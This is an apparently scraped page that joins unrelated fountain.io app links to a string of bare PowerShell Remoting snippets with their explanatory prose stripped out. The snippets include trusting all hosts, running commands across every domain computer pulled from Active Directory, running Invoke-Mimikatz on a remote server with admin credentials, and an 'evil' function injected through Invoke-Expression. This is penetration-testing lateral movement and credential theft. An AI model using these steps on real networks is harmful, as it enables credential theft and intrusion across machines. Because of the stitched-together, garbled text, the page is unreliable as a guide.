The apps so far: http://fountain.io/apps
And for when you want to create your own: http://fountain.io/developers
And for when you want to create your own: http://fountain.io/developers
1
2
3
|
Enable-PSRemoting –force
|
1
2
3
4
5
6
7
|
# Set start mode to automatic
Set-Service WinRM -StartMode Automatic
# Verify start mode and state - it should be running
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
|
1
2
3
4
5
6
7
|
# Trust all hosts
Set-Item WSMan:localhost\client\trustedhosts -value *
# Verify trusted hosts configuration
Get-Item WSMan:\localhost\Client\TrustedHosts
|
1
2
3
4
|
Invoke-Command –ComputerName MyServer1 -ScriptBlock {Hostname}
Invoke-Command –ComputerName MyServer1 -Credentials demo\serveradmin -ScriptBlock {Hostname}
|
1
2
3
|
Get-ADComputer -Filter * -properties name | select @{Name="computername";Expression={$_."name"}} | Invoke-Command -ScriptBlock {hostname}
|
1
2
3
4
|
Invoke-Command -ComputerName MyServer1 -FilePath C:\pentest\Invoke-Mimikatz.ps1
Invoke-Command -ComputerName MyServer1 -FilePath C:\pentest\Invoke-Mimikatz.ps1 -Credentials demo\serveradmin
|
1
2
3
4
5
|
$MyCommand = "hostname"
$MyFunction = "function evil {write-host `"Getting evil...`";iex -command $MyCommand};evil"
invoke-command -ComputerName MyServer1 -Credentials demo\serveradmin -ScriptBlock {Invoke-Expression -Command "$args"} -ArgumentList $MyFunction
|
1
2
3
4
|
Enter-PsSession –ComputerName server1.domain.com
Enter-PsSession –ComputerName server1.domain.com –Credentials domain\serveradmin
|
1
2
3
|
Exit-PsSession
|
1
2
3
4
|
New-PSSession -ComputerName server1.domain.com
New-PSSession –ComputerName server1.domain.com –Credentials domain\serveradmin
|
1
2
3
4
5
|
New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user
cd RemoteADS:
Get-ADComputer -Filter * -Properties name | select @{Name="ComputerName";Expression={$_."name"}} | New-PSSession
|
1
2
3
|
Get-PSSession
|
1
2
3
|
Enter-PsSession –id 3
|
1
2
3
|
Exit-PsSession
|
1
2
3
|
Invoke-Command -Session (Get-PSSession) -ScriptBlock {Hostname}
|
1
2
3
|
Get-PSSession | Disconnect-PSSession
|